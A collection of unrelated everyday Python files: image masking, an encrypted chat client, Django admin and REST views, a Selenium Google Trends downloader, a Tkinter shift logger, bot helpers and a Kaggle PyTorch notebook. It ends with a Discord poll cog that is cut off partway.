import cv2
import markerdetector
import numpy as np

img = cv2.imread("box_guess.jpg")
blur_img = cv2.GaussianBlur(img, (3,3), 0)
cv2.imwrite("blue.jpg", blur_img)
red_mask = cv2.inRange(blur_img, np.array([0,0,141]), np.array([141,137,255]))
cv2.imwrite("range.jpg", red_mask)
#red_mask = cv2.erode(red_mask, None, iterations=3)
#cv2.imwrite("erode.jpg", red_mask)
#red_mask = cv2.dilate(red_mask, None, iterations=3)
#cv2.imwrite("dilate.jpg", red_mask)

pixel=[29,26]
print(blur_img[pixel[0]][pixel[1]])
blur_img[pixel[0]][pixel[1]] = [0,255,0]
cv2.imwrite("greendot.jpg", blur_img)

#for i in range(32):
    #print(img[32+i][32])
    #print(img[32-i][32])
    #print(img[32][32+i])
#    print(img[32][32-i])

# red_mask = self.get_red_mask(markerGuess, (3,3))


# Created by Benjamin Pratt on 11/8/2022
import socket
from cryptography.hazmat.primitives import serialization as crypto_serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend as crypto_default_backend
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes
import TCPPacket

def main():
    """
    Run the client. Allows the client to send and receive end-to-end encrypted messages.
    """
    # Port number we are using
    port = 5000

    # Tries to open files that have our username and keys stored
    try:
        with open("user.txt", 'r') as u:
            user = u.read()
        with open("private.key", 'rb') as b:
            private_key = b.read()
        with open("public.key", 'rb') as b:
            public_key = b.read()

        key = crypto_serialization.load_pem_private_key(private_key, None, crypto_default_backend())
    # If it can't find the files, it will generate a new public and private key as well as
    # ask for a username
    except FileNotFoundError:
        key = rsa.generate_private_key(
            backend=crypto_default_backend(),
            public_exponent=65537,
            key_size=2048
        )

        private_key = key.private_bytes(
            crypto_serialization.Encoding.PEM,
            crypto_serialization.PrivateFormat.PKCS8,
            crypto_serialization.NoEncryption()
        )

        public_key = key.public_key().public_bytes(
            crypto_serialization.Encoding.OpenSSH,
            crypto_serialization.PublicFormat.OpenSSH
        )

        with open('private.key', 'wb') as f:
            f.write(private_key)
        with open('public.key', 'wb') as f:
            f.write(public_key)
        with open('user.txt', 'w') as f:
            user = input("Enter a username: ")
            f.write(user)

    # Loop to allow the user to send and receive messages
    is_running = True
    while is_running:
        # Connect to the server
        s = socket.socket(socket.AF_INET,
                          socket.SOCK_STREAM)

        s.connect(('127.0.0.1', port))

        # Send a RegisterPacket so the server knows who you are
        s.send(TCPPacket.RegisterPacket(user, public_key).encode_packet())

        # Server returns a packet containing a dictionary of users and a dictionary of messages
        update = TCPPacket.decode_packet(s.recv(1024))
        users, messages = update.users, update.messages

        # Print the names of people that have sent you messages
        print("You have messages from: ")
        for name in messages.keys():
            print(f"\t{name}")

        # Read messages
        while True:
            name = input("Type the name of the user you would like to read the message of, or type 'no' to stop. ")
            if name == 'no':
                break
            for msg in messages[name]:
                # Decrypt the message
                decrypted = key.decrypt(msg, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
                                                          algorithm=hashes.SHA256(), label=None))
                # Display the message
                print(f"\t{decrypted.decode('utf-8')}")

        # Allow the user to send a message
        name = input("Type the name of the user you would like to send a message to, or type 'no'. ")
        if name == 'no':
            # If the user doesn't want to send a message, send a blank packet so that the server closes
            # the connection with the user and doesn't error out waiting for a message
            s.send(TCPPacket.EmptyPacket().encode_packet())
        else:
            # Get the public key of the user you want to send a message to
            p_key = crypto_serialization.load_ssh_public_key(users[name])
            # Send the encrypted message to the server
            s.send(TCPPacket.TextPacket(user, name, p_key.encrypt(bytes(input("Enter your message: "), 'utf-8'),
                                        padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
                                                     algorithm=hashes.SHA256(),
                                                     label=None))).encode_packet())
        is_running = not (input("Would you like to continue sending and reading messages? (yes/no) ") == "no")

if __name__ == '__main__':
    main()


from django.contrib import admin

from simple_history.admin import SimpleHistoryAdmin

from .models import Member, Debt
from members.constants import VALOR_GC, VALOR_INACOOP, VALOR_UR, gen_cuota_social

@admin.action(description='generar deuda para socios seleccionados')
def generate_debt(modeladmin, request, queryset):
    for member in queryset:
        cuota_social = Debt(
            member=member,
            type='cuota_social',
            ammount=gen_cuota_social(member)
        )
        gastos_comunes = Debt(
            member=member,
            type='gastos_comunes',
            ammount=VALOR_GC,
        )
        inacoop = Debt(
            member=member,
            type='prestamo_inacoop',
            ammount=VALOR_INACOOP,
        )
        for debt in [cuota_social, gastos_comunes, inacoop]:
            debt.save()

@admin.register(Member)
class MemberAdmin(SimpleHistoryAdmin):
    list_display = [
        'member_number',
        'first_name',
        'first_surname',
    ]

    actions = [generate_debt]

@admin.register(Debt)
class DebtAdmin(SimpleHistoryAdmin):
    list_display = [
        'member',
        'type',
        'ammount',
        'created_at',
    ]

    sortable_by = [
        'member',
        'type',
        'created_at',
    ]

    list_filter = [
        'member',
        'type',
    ]


from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.chrome.options import Options
from fake_useragent import UserAgent

date = "?date=2020-06-23%202020-07-23"

options = Options()
ua = UserAgent()
userAgent = ua.random
options.add_argument(f'user-agent={userAgent}')
options.add_experimental_option("prefs", {
  "download.default_directory": r"C:\Users\Giovanni\Desktop",
  "download.prompt_for_download": False,
  "download.directory_upgrade": True,
  "safebrowsing.enabled": True
})

driver = webdriver.Chrome(chrome_options=options, executable_path="C:/Users/Giovanni/Desktop/chromedriver_win32/chromedriver")
driver.get("https://trends.google.it/trends/?geo=IT")

searchbar = driver.find_element_by_id("input-254")
searchbar.send_keys("Lamezia Terme")
searchbar.send_keys(Keys.ENTER)

actualurl = driver.current_url
splittedurl = actualurl.split("?")
splittedquery = splittedurl[1].split("&")

newurl = splittedurl[0] + date + "&" + splittedquery[1] + "&" + splittedquery[0]
driver.get(newurl)

exportbutton = driver.find_element_by_class_name("widget-actions-item.export")
exportbutton.click()

#driver.close()


from django.utils import timezone
from rest_framework import status
from rest_framework.decorators import api_view, permission_classes
from rest_framework.response import Response
from events.models import Event, Registration
from events.serializers import EventSerializer, RegistrationSerializer
from rest_framework.permissions import IsAuthenticated
from django.core.exceptions import ObjectDoesNotExist
from rest_framework.pagination import PageNumberPagination
from rest_framework.permissions import IsAuthenticated, IsAdminUser
from rest_framework.permissions import IsAdminUser

@api_view(['GET'])
def upcoming_events(request):
    paginator = CustomPagination()
    events = Event.objects.filter(date__gte=timezone.now())
    paginated_events = paginator.paginate_queryset(events, request)
    serializer = EventSerializer(paginated_events, many=True)
    return paginator.get_paginated_response(serializer.data)

@api_view(['GET'])
def filter_events(request):
    category = request.GET.get('category')
    tag = request.GET.get('tag')
    date = request.GET.get('date')
    location = request.GET.get('location')

    events = Event.objects.all()

    if category:
        events = events.filter(category=category)
    if tag:
        events = events.filter(tags__contains=tag)
    if date:
        events = events.filter(date=date)
    if location:
        events = events.filter(location=location)

    serializer = EventSerializer(events, many=True)
    return Response(serializer.data)

@api_view(['GET'])
def event_details(request, event_id):
    try:
        event = Event.objects.get(id=event_id)
        serializer = EventSerializer(event)
        return Response(serializer.data)
    except ObjectDoesNotExist:
        return Response({"error": "Event not found"}, status=status.HTTP_404_NOT_FOUND)

@api_view(['POST'])
def register(request):
    event_id = request.data.get('event_id')  # Assuming the client sends the event_id in the request data
    user = request.user  # Assuming you are using authentication and the participant is the authenticated user

    try:
        event = Event.objects.get(id=event_id)
    except ObjectDoesNotExist:
        return Response({'error': 'Event not found'}, status=status.HTTP_404_NOT_FOUND)

    if event.capacity <= event.registrations.count():
        return Response({'error': 'Event is already full'}, status=status.HTTP_400_BAD_REQUEST)

    registration = Registration(event=event, user=user)
    registration.save()

    serializer = RegistrationSerializer(registration)

    return Response(serializer.data, status=status.HTTP_201_CREATED)

@api_view(['POST'])
def rsvp(request, event_id):
    user = request.user
    try:
        event = Event.objects.get(id=event_id)
    except ObjectDoesNotExist:
        return Response({'error': 'Event not found'}, status=status.HTTP_404_NOT_FOUND)

    registration, created = Registration.objects.get_or_create(event=event, user=user)

    if created:
        return Response({'message': 'RSVP successful'}, status=status.HTTP_200_OK)
    else:
        return Response({'message': 'You have already RSVPed for this event'}, status=status.HTTP_400_BAD_REQUEST)

@api_view(['GET'])
@permission_classes([IsAuthenticated, IsAdminUser])  # Require authentication to access this view
def registration_history(request):
    user = request.user
    registrations = Registration.objects.filter(user=user)
    serializer = RegistrationSerializer(registrations, many=True)
    return Response(serializer.data, status=status.HTTP_200_OK)

# New views for JWT authentication
@api_view(['POST'])
def obtain_token_pair(request):
    # Logic to obtain JWT token pair (access and refresh tokens)
    pass

@api_view(['POST'])
def refresh_token(request):
    # Logic to refresh the access token using the provided refresh token
    pass

class CustomPagination(PageNumberPagination):
    page_size = 10


from unittest import TestCase
from torch.utils.data import DataLoader

from src.evaluation import evaluate_actions
from src.loader import load_config_file, ActionDatasetIterative

from tests import get_test_path
from tests.mocked_model import MockedClassificationBiRNN

class TestClassification(TestCase):

    def setUp(self) -> None:
        self.model = MockedClassificationBiRNN(
            75,
            512,
            64
        )

    def _evaluate(self):
        return evaluate_actions(
            trained_model=self.model,
            model_config=load_config_file(get_test_path("data/config_model.yaml")),
            evaluation_loader=DataLoader(
                ActionDatasetIterative(
                    action_file=get_test_path("data/test_actions.data"),
                    meta_file=get_test_path("data/test_meta.txt"),
                    train_mode=False
                )
            )
        )

    def test_100_accuracy(self):
        self.model.set_predicted_labels(
            [5, 11, 1, 32, 3, 51, 39, 15]
        )
        correct, total = self._evaluate()
        self.assertEqual(8, correct)
        self.assertEqual(8, total)

    def test_50_accuracy(self):
        self.model.set_predicted_labels(
            [5, 1, 1, 1, 3, 1, 39, 1]
        )
        correct, total = self._evaluate()
        self.assertEqual(4, correct)
        self.assertEqual(8, total)

    def test_0_accuracy(self):
        self.model.set_predicted_labels(
            [1, 1, 2, 1, 1, 1, 1, 1]
        )
        correct, total = self._evaluate()
        self.assertEqual(0, correct)
        self.assertEqual(8, total)


'''
Usage:
python makeDirectorySto.py "directoryName" "secondaryStructure.txt"

Output:
A directory of .sto files

Notes:
	* This directory needs to only be full of .fa files
	* This stockholm is different from normal, but it should build the same
'''

'''
Given a directory name and a text file with the secondary structure
convert all the .fa files into .sto files
'''
from Bio import SeqIO
import sys
import os

directoryName = sys.argv[1]
ssFile = sys.argv[2]

ss = ''
with open(ssFile) as file:
	ss = file.read()

for filename in os.listdir(directoryName):
	path = os.path.join(directoryName, filename)

	tofile = filename.split('.')[0]+'.sto'
	path2 = os.path.join(directoryName, tofile)

	SeqIO.convert(path, 'fasta', path2, 'stockholm')

	print(filename, '   ', tofile)

	newContents = ''
	with open(path2, 'r') as file:
		contents = file.read()
		toReplace = f'#=GC SS_cons {ss}//'

		newContents = contents.replace('//', toReplace)
	with open(path2, 'w') as file:
		file.write( newContents )

	os.remove(path)


from tkinter import *
from tkinter import ttk
from datetime import date, datetime
from xlwt import *
from xlwt.Workbook import Workbook
from openpyxl import workbook
from openpyxl import load_workbook
from datetime import datetime
dtnow=datetime.now()
dt=dtnow.strftime("%d/%m/%Y %H:%M:%S")
print(dt)
#py installer --clean --onefile --windowed PrintoApp.py
codigos={}
Inicio_turno={}
fli_prod={}
rech_rot={}
cambio=["2.2","2.5","2.6"]
num_ord={}
nueva_refer={}
comments={}

class product:
    #Ventana principal

    def __init__(self,window):
        self.wind=window
        self.wind.title("Pintura 1 PrintoGlass")
        frame=LabelFrame(self.wind, text="Registro de códigos. ") #Frame contenedor
        frame.grid(row=1, column=0, columnspan=2, pady=10)   #pad y distancia entre objetos.
        #boton
        Label(frame, text="Registro evento").grid(row=1, column=0)#input
        self.name=Entry(frame)
        self.name.grid(row=1, column=1)
        sn=self.name
        print(sn)
        #boton producto
        ttk.Button(frame, text="Guardar evento ", command= self.add_product).grid(row=4, columnspan=2, sticky=W+E)#boton  #sticky ancho del boton
        self.tree = ttk.Treeview(height=10,columns=2) #tabla que muestra lo que se ve
        self.tree.grid(row=4, column=0, columnspan=2)
        self.tree.heading("#0", text= "", anchor=CENTER)
        self.tree.heading("#1", text="", anchor=CENTER)
        #botones turnos
        ttk.Button(text="Finalizar turno  ", command=self.Reporte_final).grid(row=7, columnspan=2, sticky=W+E)
        ttk.Button(text="Registrar inicio de turno  ", command=self.inicio).grid(row=0, columnspan=2, sticky=W+E)
        """ttk.Button(text="Agregar comentario  ", command=self.add_comment).grid(row=6, columnspan=2, sticky=W+E)"""
        self.message=Label(text= "", fg= "red")
        self.message.grid(row=5, column=0, columnspan=2, sticky= W+E)
         #ventana
    def inicio(self):
        self.edit_wind=Toplevel()
        self.edit_wind.title("Registro inicio de turno")
        self.message1=Label(self.edit_wind ,text="Inicio de turno ")#label
        self.message1.grid(row=1, column=1)
        self.message2=Label(self.edit_wind ,text="Referencia a trabajar: ")
        self.message2.grid(row=2, column=0, sticky=W+E)
        self.message3=Label(self.edit_wind,text="Código trabajador: ")
        self.message3.grid(row=4, column=0, sticky=W+E)
        self.mr5=Label(self.edit_wind, text= "", fg= "red")
        self.mr5.grid(row=5, columnspan=2, sticky=W+E)
        self.m2=Entry(self.edit_wind)#entry
        self.m2.grid(row=2, column=1)
        self.m3=Entry(self.edit_wind)
        self.m3.grid(row=4, column=1)
        Button(self.edit_wind,text="Guardar registro ", command=self.inicio_turno).grid(row=6, columnspan=4, sticky=W+E)#button
        print(Inicio_turno)

    def add_comment(self):
        self.edit_wind3=Toplevel()
        self.edit_wind3.title("registro comentarios")
        Label(self.edit_wind3, text="Comentario: ").grid(row=1, column=0)
        self.comment=Text(self.edit_wind3,width=30, height=6 ).grid(row=1, column=1)
        self.mr5=Label(self.edit_wind3, text= "", fg= "red").grid(row=2, columnspan=2, sticky=W+E)
        ttk.Button(self.edit_wind3, text="Guardar comentario  ", command=self.Save_comm).grid(row=3, columnspan=2, sticky=W+E)

    def Save_comm(self):
        comments[dt]=self.comment.get()
        self.mr5["text"]="Comentario registrado. Ya puede cerrar la ventana "
        print("Comentario guardado")

    def inicio_turno(self):
        if self.validation2():
            it=self.m3.get()
            Inicio_turno[it]=self.m2.get()
            print(Inicio_turno)
            self.mr5["text"]="Información registrada. Ya puede cerrar la ventana. "
        else:
            print("name and reference is required")

    def guardarPlanilla(self,nombreArchivo):
            self.wb.save(nombreArchivo)
            print ("Generado")

    def guardar_turno(self):
        dtnow=datetime.now()
        dt=dtnow.strftime("%H:%M:%S")
        fp=self.m4.get()
        fli_prod[fp]=self.m5.get()
        rt=self.m6.get()
        rech_rot[rt]=self.m7.get()
        num_ord[dt]=self.m8.get()
        print(Inicio_turno)
        print(fli_prod)
        print(rech_rot)
        print(num_ord)
        print("Datos guardados")
        print(Inicio_turno)
        self.mr4["text"]="Resitros de turno registrados "

    def generar_excel(self):
        Num=len(codigos)
        Num2=len(fli_prod)
        Num3=len(rech_rot)
        Num4=len(num_ord)
        num5=len(Inicio_turno)
        Num6=len(nueva_refer)
        fw=Workbook()
        ws1=fw.add_sheet("firsT")
        ws1.write(0,0,"Fecha")
        ws1.write(0,1,"Código")
        ws1.write(0,3,"Referencia")
        ws1.write(0,4,"Código trabajadores")
        ws1.write(0,5,"Flint")
        ws1.write(0,6,"Total produccion")
        ws1.write(0,7,"Cantidad rechazo")
        ws1.write(0,8,"Cantidad rotura")
        ws1.write(0,9,"Numero de orden")
        ws1.write(0,10,"Comentarios")
        ws1.write(0,12,dt)
        i=2
        j=1
        k=1
        l=1
        m=1
        n=1
        x=1
        for referencia in nueva_refer.items():
            ws1.write(i, 3,referencia )
            i+=1
            if i ==Num6+1:
                break
        for fecha, codigo in codigos.items():
            ws1.write(j,0,fecha)
            ws1.write(j,1,codigo)
            j+=1
            if j == Num+1:
                break
        for fecha, comment in comments.items():
            ws1.write(k,12,fecha)
            ws1.write(k,13,comment)
            k+=1
            if k == Num3+1:
                break

        for referencia, codigot in Inicio_turno.items():
            ws1.write(l,4,referencia)
            ws1.write(l,3,codigot)
            l+=1
            if l == num5+1:
                break
        for flint, produccion in fli_prod.items():
            ws1.write(m,5,flint)
            ws1.write(m,6,produccion)
            m+=1
            if m == Num2+1:
                break
        for rechazo, rotura in rech_rot.items():
            ws1.write(n,7,rechazo)
            ws1.write(n,8,rotura)
            n+=1
            if n == 6:
                break
        for orden, hora in num_ord.items():
            ws1.write(x, 10, orden)
            ws1.write(x,9, hora)
            x+=1
            if x == Num4+1:
                break
        fw.save("Reporte_pintura_1.xls")
        print("Guardado")

    def Reporte_final(self):
        self.edit_wind4=Toplevel()
        self.edit_wind4.title("Datos finales de turno")

        self.message10=Label(self.edit_wind4, text="Datos finales turno")
        self.message10.grid(row=1, column=0, sticky=W+E)
        self.message4=Label(self.edit_wind4, text="Flint: ")
        self.message4.grid(row=2, column=0, sticky=W+E)
        self.message5=Label(self.edit_wind4, text="Total producción: ")
        self.message5.grid(row=3, column=0, sticky=W+E)
        self.message6=Label(self.edit_wind4, text="Cantidad rechazo: ")
        self.message6.grid(row=4, column=0, sticky=W+E)
        self.message7=Label(self.edit_wind4, text="Cantidad rotura: ")
        self.message7.grid(row=5, column=0, sticky=W+E)
        self.message8=Label(self.edit_wind4, text="Número de orden: ")
        self.message8.grid(row=6, column=0, sticky=W+E)
        self.mr4=Label(self.edit_wind4, text= "", fg= "red")
        self.mr4.grid(row=7, column=0, sticky=W+E)
        self.m4=Entry(self.edit_wind4)
        self.m4.grid(row=2, column=1)
        self.m5=Entry(self.edit_wind4)
        self.m5.grid(row=3, column=1)
        self.m6=Entry(self.edit_wind4)
        self.m6.grid(row=4, column=1)
        self.m7=Entry(self.edit_wind4)
        self.m7.grid(row=5, column=1)
        self.m8=Entry(self.edit_wind4)
        self.m8.grid(row=6, column=1)
        Button(self.edit_wind4,text="Finalizar turno ", command=self.generar_excel).grid(row=9, columnspan=4, sticky=W+E)#button
        Button(self.edit_wind4,text="Registrar información ", command=self.guardar_turno).grid(row=8, columnspan=4, sticky=W+E)#button

    def ref_nueva(self):
        dtnow=datetime.now()
        dt=dtnow.strftime("%H:%M:%S")
        nueva_refer[dt]=self.m12.get()
        fp=self.m14.get()
        fli_prod[fp]=self.m15.get()
        rt=self.m16.get()
        rech_rot[rt]=self.m17.get()
        num_ord[dt]=self.m18.get()
        print(Inicio_turno)
        print(fli_prod)
        print(rech_rot)
        print(num_ord)
        print("Datos guardados")
        print(Inicio_turno)
        self.mr4["text"]="Resitros de turno registrados "
        self.m14.delete(0,END)
        self.m15.delete(0,END)
        self.m16.delete(0,END)
        self.m17.delete(0,END)
        self.m18.delete(0,END)
        print(nueva_refer)

    def validation(self):
        return len(self.name.get()) != 0

    def validation2(self):
        return len(self.m2.get()) != 0 and len(self.m3.get()) != 0

    def add_product(self):
        dtnow=datetime.now()
        dt=dtnow.strftime("%H:%M:%S")
        if self.validation():
            print(self.name.get())
            if self.name.get() in cambio:
                self.edit_wind2=Toplevel()
                self.edit_wind2.title("Cambio de referencia")
                self.message2=Label(self.edit_wind2 ,text="Referencia a trabajar: ")
                self.message2.grid(row=1, column=0, sticky=W+E)
                self.message4=Label(self.edit_wind2, text="Flint: ")
                self.message4.grid(row=2, column=0, sticky=W+E)
                self.message5=Label(self.edit_wind2, text="Total producción: ")
                self.message5.grid(row=3, column=0, sticky=W+E)
                self.message6=Label(self.edit_wind2, text="Cantidad rechazo: ")
                self.message6.grid(row=4, column=0, sticky=W+E)
                self.message7=Label(self.edit_wind2, text="Cantidad rotura: ")
                self.message7.grid(row=5, column=0, sticky=W+E)
                self.message8=Label(self.edit_wind2, text="Número de orden: ")
                self.message8.grid(row=6, column=0, sticky=W+E)
                self.mr4=Label(self.edit_wind2, text= "", fg= "red")
                self.mr4.grid(row=7, column=0, sticky=W+E)
                self.m12=Entry(self.edit_wind2)#entry
                self.m12.grid(row=1, column=1)
                self.m14=Entry(self.edit_wind2)
                self.m14.grid(row=2, column=1)
                self.m15=Entry(self.edit_wind2)
                self.m15.grid(row=3, column=1)
                self.m16=Entry(self.edit_wind2)
                self.m16.grid(row=4, column=1)
                self.m17=Entry(self.edit_wind2)
                self.m17.grid(row=5, column=1)
                self.m18=Entry(self.edit_wind2)
                self.m18.grid(row=6, column=1)
                ttk.Button(self.edit_wind2, text="Registrar nueva referencia ", command=self.ref_nueva).grid(row=8, columnspan=2, sticky=W+E)
            codigos[dt]=self.name.get()
            print(codigos)
            self.message["text"]="Código {} registrado ".format(self.name.get())
            self.name.delete(0,END)
        else:
            print("name and price is required")
if __name__=="__main__":
    window=Tk()
    application=product(window)
    window.mainloop()


from typing import List, Iterable

from telegram import (
    KeyboardButton,
    ReplyKeyboardMarkup,
    ReplyKeyboardRemove,
)

def group_by(it: Iterable, by: int = 1):
    """ group_by(it=[1, 2, 3, 4, 5, 6], by=2) -> [[1, 2], [3, 4], [5, 6]] """
    result = list()
    for i in range(0, len(it), by):
        result.append(it[i:i+by])
    return result

def markup_columns(keys: List[str], columns: int = 2) -> ReplyKeyboardMarkup:
    """ Make keyboard markup with specified number of columns """
    buttons = [KeyboardButton(text=key) for key in keys]
    keyboard = group_by(buttons, columns)
    markup = ReplyKeyboardMarkup(keyboard)
    return markup

def markup_remove():
    return ReplyKeyboardRemove()


import requests
from termcolor import cprint
from pyfiglet import Figlet
from random import choice

url = "https://icanhazdadjoke.com/search"
f = Figlet()
cprint(f.renderText('Dad Joke 3000'), color='red')
while True:
    topic = input('Let me tell You a joke! Give me a topic:')
    if len(topic):
        break
    cprint('Come on! What do You want to hear joke about?', color='red')

response = requests.get(
    url,
    headers={'Accept': 'application/json'},
    params={'term': topic},
)
data = response.json()
if not len(data['results']):
    print(f'Unfortunately there are no jokes about "{topic}" :(')
    exit(0)

print(f"I've got {len(data['results'])} about {topic}. Here's one:\n {choice(data['results'])['joke']}")


#!/usr/bin/env python
# coding: utf-8

# In[3]:

# This Python 3 environment comes with many helpful analytics libraries installed
# It is defined by the kaggle/python Docker image: https://github.com/kaggle/docker-python
# For example, here's several helpful packages to load

import numpy as np # linear algebra
import pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)

# Input data files are available in the read-only "../input/" directory
# For example, running this (by clicking run or pressing Shift+Enter) will list all files under the input directory

import os
for dirname, _, filenames in os.walk('/kaggle/input'):
    for filename in filenames:
        print(os.path.join(dirname, filename))

# You can write up to 20GB to the current directory (/kaggle/working/) that gets preserved as output when you create a version using "Save & Run All"
# You can also write temporary files to /kaggle/temp/, but they won't be saved outside of the current session

# In[4]:

df =pd.read_csv('../input/pima-indians-diabetes-database/diabetes.csv')
df

# In[5]:

import torch
import seaborn as sns

# In[6]:

X= df.drop('Outcome',axis=1).values ##independent features
y=df['Outcome'].values

# In[7]:

from sklearn.model_selection import train_test_split
X_train,X_test,y_train,y_test = train_test_split(X,y,test_size =0.2,random_state=0)

# In[17]:

### Libraries from Pytorch
import torch
import torch.nn as nn
import torch.nn.functional as F

# In[18]:

#########CREATING TENSORS

X_train =torch.FloatTensor(X_train)
X_test=torch.FloatTensor(X_test)

y_train=torch.LongTensor(y_train)
y_test=torch.LongTensor(y_test)

# In[19]:

#Creating model with Pytorch

class ANN_Model(nn.Module):
    def __init__(self,input_features=8,hidden1=20,hidden2=20,
                 out_features=2):
        super().__init__()
        self.f_connected1=nn.Linear(input_features,hidden1)
        self.f_connected2=nn.Linear(hidden1,hidden2)
        self.out=nn.Linear(hidden2,out_features)

    def forward(self,x):
        x=F.relu(self.f_connected1(x))
        x=F.relu(self.f_connected2(x))
        x=self.out(x)
        return x

# In[20]:

### INSTANTIATE MY ANN MODEL
torch.manual_seed(20)
model=ANN_Model()

# In[21]:

model.parameters

# In[22]:

##BACKWARD PROPAGATION

#Define loss func and define optimizer

loss_function = nn.CrossEntropyLoss()
optimizer =torch.optim.Adam(model.parameters(),lr=0.01)

# In[23]:

epochs=500
final_losses=[]
for i in range(epochs):
    i=i+1
    y_pred=model.forward(X_train)
    loss=loss_function(y_pred,y_train)
    final_losses.append(loss)

    if i%10==1:
        print("epoch {} and loss{}".format(i,loss.item()))
    optimizer.zero_grad()
    loss.backward()
    optimizer.step()

# In[24]:

##plotting the loss func

import matplotlib.pyplot as plt
get_ipython().magic('matplotlib inline')

# In[25]:

plt.plot(range(epochs),final_losses)
plt.ylabel('Loss')
plt.xlabel('epoc')

# In[26]:

#### prediciton in X_test data
prediction =[]
with torch.no_grad():
    for i,data in enumerate(X_test):
        y_pred=model(data)
        prediction.append(y_pred.argmax().item())

# In[27]:

from sklearn.metrics import confusion_matrix

cm=confusion_matrix(y_test,prediction)
cm

# In[28]:

plt.figure(figsize=(10,6))
sns.heatmap(cm,annot=True)
plt.xlabel('Actual Values')
plt.ylabel('Predicted Values')

# In[29]:

from sklearn.metrics import accuracy_score
score =accuracy_score(y_test,prediction)
score

# In[30]:

torch.save(model,'diabetes.pt')
model= torch.load('diabetes.pt')

# In[31]:

model.eval()

# In[32]:

list(df.iloc[0,:-1])

# In[33]:

lst1=[6.0, 138.0, 722.0, 33.0, 40.0, 33.6, 0.627, 50.0]

# In[34]:

new_data=torch.tensor(lst1)

# In[35]:

with torch.no_grad():
    print(model(new_data))
    print(model(new_data).argmax().item())

# In[ ]:


from __future__ import annotations

import io
from typing import TYPE_CHECKING

import discord
from discord import app_commands, Embed

from imp.better.cog import BetterCog
from imp.transformers import POLL_TRANSFORMER, LANGUAGE_TRANSFORMER
from imp.views.poll import PollView
import matplotlib.pyplot as plt

if TYPE_CHECKING:
    from imp.better.bot import BetterBot
    from imp.better.interaction import BetterInteraction

class Main(BetterCog):

    @app_commands.command(
        name="create",
        description="Create a new poll"
    )
    @app_commands.describe(
        title="The name of the poll",
        description="Some info for the poll"
    )
    async def create_poll(self, interaction: BetterInteraction, title: str, description: str = None):
        async with self.client.pool.acquire() as cursor:
            _guild_hid = await self.client.database.get_guild_rid(
                cursor,
                guild_id=interaction.guild.id
            )

            message = await interaction.channel.send(
                embed=Embed(
                    title=await self.client.translator.translate(
                        cursor,
                        guild_rid=_guild_hid,
                        key="poll.title",
                        name=title
                    ),
                    description=f"```\n{description}```",
                    colour=discord.Colour.yellow()
                )
                .set_footer(
                    text=await self.client.translator.translate(
                        cursor,
                        guild_rid=_guild_hid,
                        key="poll.footer",
                        id="#~"
                    )
                )
            )

            poll_id = await self.client.database.create_poll(
                cursor,
                guild_rid=_guild_hid,
                channel_id=message.channel.id,
                message_id=message.id,
                poll_title=title.upper(),
                poll_description=description
            )
            poll = self.client.manager.get_poll(poll_id)
            view = await PollView(poll).run(cursor)
            poll.set_view(view)

            self.client.manager.set_poll(poll)

            await message.edit(
                embed=(message.embeds[0].set_footer(
                    text=await self.client.translator.translate(
                        cursor,
                        guild_rid=_guild_hid,
                        key="poll.footer",
                        id=poll.hid
                    )
                )),
                view=view
            )

            return await interaction.response.send_message(
                content=await self.client.translator.translate(
                    cursor,
                    guild_rid=_guild_hid,
                    key="poll.create.success",
                    title=title,
                    id=poll.hid
                ),
                ephemeral=True
            )

    @app_commands.command(
        name="add_option",
        description="Add a option to a poll"
    )
    @app_commands.describe(
        poll="The poll to which the option should be added",
        name="The option name"
    )
    async def add_option(
            self,
            interaction: BetterInteraction,
            poll: POLL_TRANSFORMER,
            name: str
    ):
        async with self.client.pool.acquire() as cursor:
            _guild_hid = await self.client.database.get_guild_rid(
                cursor,
                guild_id=interaction.guild.id
            )

            if await poll.started(cursor):
                return await interaction.response.send_message(
                    content=await self.client.translator.translate(
                        cursor,
                        guild_rid=_guild_hid,
                        key="poll.add_option.already_started",
                        id=poll.hid
                    ),
                    ephemeral=True
                )

            if await poll.option_count(cursor) > poll.POLL_MAX_OPTIONS:
                return await interaction.response.send_message(
                    content=await self.client.translator.translate(
                        cursor,
                        guild_rid=_guild_hid,
                        key="poll.add_option.maximum_reached",
                        count=poll.POLL_MAX_OPTIONS
                    ),
                    ephemeral=True
                )

            await poll.add_option(cursor, name)

            await poll.update(cursor)
            self.client.manager.set_poll(poll)

            await interaction.response.send_message(
                content=await self.client.translator.translate(
                    cursor,
                    guild_rid=_guild_hid,
                    key="poll.add_option.success",
                    id=poll.hid,
                    option=name
                ),
                ephemeral=True
            )

    @app_commands.command(
        name="start",
        description="Start a poll"
    )
    @app_commands.describe(
        poll="The poll you want to start"
    )
    async def start_poll(
            self,
            interaction: BetterInteraction,
            poll: POLL_TRANSFORMER
    ):
        async with self.client.pool.acquire() as cursor:
            _guild_hid = await self.client.database.get_guild_rid(
                cursor,
                guild_id=interaction.guild.id
            )

            if await poll.started(cursor):
                return await interaction.response.send_message(
                    content=await self.client.translator.translate(
                        cursor,
                        guild_rid=_guild_hid,
                        key="poll.start.already_started",
                        id=poll.hid
                    ),
                    ephemeral=True
                )

            await poll.start(cursor)
            self.client.manager.set_poll(poll)

            await interaction.response.send_message(
                content=await self.client.translator.translate(
                    cursor,
                    guild_rid=_guild_hid,
                    key="poll.start.success",
                    id=poll.hid
                ),
                ephemeral=True
            )

    @app_commands.command(
        name="stop",
        description="Stop a poll"
    )
    @app_commands.describe(
        poll="The poll you want to stop"
    )
    async def stop_poll(
            self,
            interaction: BetterInteraction,
            poll: POLL_TRANSFORMER
    ):
        async with self.client.pool.acquire() as cursor:
            _guild_hid = await self.client.database.get_guild_rid(
                cursor,
                guild_id=interaction.guild.id
            )

            if not (await poll.started(cursor)):
                return await interaction.response.send_message(
                    content=await self.client.translator.translate(
                        cursor,
                        guild_rid=_guild_hid,
                        key="poll.stop.not_started",
                        id=poll.hid
                    ),
                    ephemeral=True
                )

            await poll.stop(cursor)
            self.client.manager.set_poll(poll)

            await interaction.response.send_message(
                content=await self.client.translator.translate(
                    cursor,
                    guild_rid=_guild_hid,
                    key="poll.stop.success",
                    id=poll.hid
                ),
                ephemeral=True
            )

    @app_commands.command(
        name="stats",
        description="Get the statistics of a poll"
    )
    @app_commands.describe(
